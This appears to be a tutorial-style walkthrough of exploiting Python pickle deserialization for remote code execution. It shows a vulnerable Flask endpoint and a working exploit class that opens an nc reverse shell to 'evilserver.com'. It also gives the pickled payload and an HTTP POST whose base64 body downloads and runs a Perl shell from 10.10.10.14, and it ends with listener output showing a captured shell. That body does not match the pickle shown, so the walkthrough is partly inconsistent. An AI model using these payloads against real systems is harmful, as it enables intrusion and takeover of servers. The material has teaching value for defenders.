Pickle is a serialization/deserialization module found within the standard Python library. For those unfamiliar with serialization and deserialization; it is a way of converting objects and data structures to files or databases so that they can be reconstructed later (possibly in a different environment). This process is called serialization and deserialization, but in Python, it is called pickling and unpickling. One big caveat to pickle however, is that it does not perform any “security checking” on the data that is being unpickled, meaning that an attacker having access to the endpoint can potentially gain remote code execution by serving malicious input. It is therefore important to use pickle only when you have a trusted relationship between partners.
From the Pickle documentation:
Warning The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.
Consider the following function which is responsible for handling POST request data sent to
import cPickle import base64 ... @app.route("/newpost", methods=["POST"]) def newpost(): picklestr = base64.urlsafe_b64decode(request.data) postObj = pickle.loads(picklestr) return "POST RECEIVED: " + postObj['Subject'] ...
Basically what it does is take an pickled string (base64 encoded), decodes it and calls
pickle.loads to unpickle it before returning a value.
Knowing this, an attacker could pickle a malicious object and base64-encode it before POSTing it to the server.
Pickling objects is pretty straightforward. In the following example we
import os to self, allowing us to execute commands.
In this case we pop a reverse connection from
import cPickle import base64 class MMM(object): def __reduce__(self): import os s = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc evilserver.com 443 > /tmp/f" return (os.popen, (s,)) payload = cPickle.dumps(MMM()) print payload
When pickled, the output becomes.
cposix popen p1 (S'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc evilserver.com 443 > /tmp/f' p2 tRp3 .
Base64 encode this output and pass it to the server.
POST /newpost HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 144 Y3Bvc2l4CnBvcGVuCnAxCihTJ3dnZXQgMTAuMTAuMTQuMTQvc2hlbGwucGwgLVAgL3RtcC87Y2htb2QgK3ggL3RtcC9zaGVsbC5wbDtwZXJsIC90bXAvc2hlbGwucGwnCnAyCnRScDMKLg==
$ nc -lnvp 443 listening on [any] 443 ... connect to [10.10.10.10] from (UNKNOWN) [10.10.10.10] 52904 /bin/sh: 0: can't access tty; job control turned off $ id uid=1002(alice) gid=1002(alice) groups=1002(alice),4(adm),27(sudo)